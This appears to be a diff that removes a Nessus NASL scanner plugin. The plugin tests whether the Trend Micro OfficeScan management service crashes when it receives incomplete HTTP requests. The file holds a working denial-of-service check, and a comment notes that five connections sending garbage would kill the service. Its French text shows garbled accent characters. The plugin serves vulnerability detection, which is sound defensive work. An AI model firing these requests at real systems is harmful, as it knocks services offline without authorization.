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- #
- # This script was written by Michel Arboi <arboi@alussinan.org>
- #
- # Script audit and contributions from Carmichael Security <http://www.carmichaelsecurity.com>
- # Erik Anderson <eanders@carmichaelsecurity.com>
- # Added BugtraqID and CVE
- #
- # GPL
- #
- # Status: untested
- #
- # References:
- #
- # Date: Mon, 17 Jul 2000 22:25:37 +0200
- # From: "Marc Ruef" <marc.ruef@computec.ch>
- # To: submissions@packetstormsecurity.org, news@securiteam.com,
- # bugtraq@securityfocus.com, ivan.schmid@astalavista.ch, jp@antionline.com
- # Subject: Trend Micro Officescan Denial of Service
- #
- # http://online.securityfocus.com/bid/1013
- #
- # TBD:
- # Sending garbage may also kill the service or make it eat 100% CPU
- # Opening 5 connections while sending garbage will kill it
-
-
- if(description)
- {
- script_id(11059);
- script_bugtraq_id(1013);
- script_version("$Revision: 1.11 $");
- script_cve_id("CAN-2000-0203");
- script_name(english:"Trend Micro OfficeScan Denial of service");
-
- desc["english"] = "
- It was possible to kill the Trend Micro OfficeScan
- antivirus management service by sending an incomplete
- HTTP request.
-
- Solution : upgrade your software
-
- Risk factor : Medium";
-
- desc["francais"] = "
- Il a ΘtΘ possible de tuer le service d'administration
- OfficeScan de Trend Micro en lui envoyant une requΩte
- HTTP incomplΦte.
-
- Solution : mettez α jour votre logiciel.
-
- Facteur de risque : Moyen";
-
- script_description(english:desc["english"], francais:desc["francais"]);
-
- summary["english"] = "Crashes OfficeScan";
- summary["francais"] = "Tue OfficeScan";
- script_summary(english:summary["english"], francais:summary["francais"]);
-
- script_category(ACT_DENIAL);
-
- script_copyright(english: "This script is Copyright (C) 2002 Michel Arboi");
- family["english"] = "Denial of Service";
- family["francais"] = "DΘni de service";
- script_family(english:family["english"], francais:family["francais"]);
- script_dependencies("find_service.nes");
- script_require_ports("Services/www", 12345);
- exit(0);
- }
-
- # The script code starts here
-
- include("http_func.inc");
- include("misc_func.inc");
-
- function check(port)
- {
- soc = http_open_socket(port);
- if(!soc)return(0);
-
- send(socket:soc, data: attack1);
- r = http_recv(socket:soc);
- http_close_socket(soc);
-
- soc = http_open_socket(port);
- if(!soc) { security_warning(port); return(0); }
-
- send(socket:soc, data: attack2);
- r = http_recv(socket:soc);
- http_close_socket(soc);
-
- if (http_is_dead(port: port)) security_warning(port);
- }
-
-
- # get or GET?
- attack1 = string("get / \r\n");
- attack2 = string("GET / \r\n");
-
-
- ports = add_port_in_list(list:get_kb_list("Services/www"), port:12345);
- foreach port (ports)
- {
- check(port:port);
- }
-
-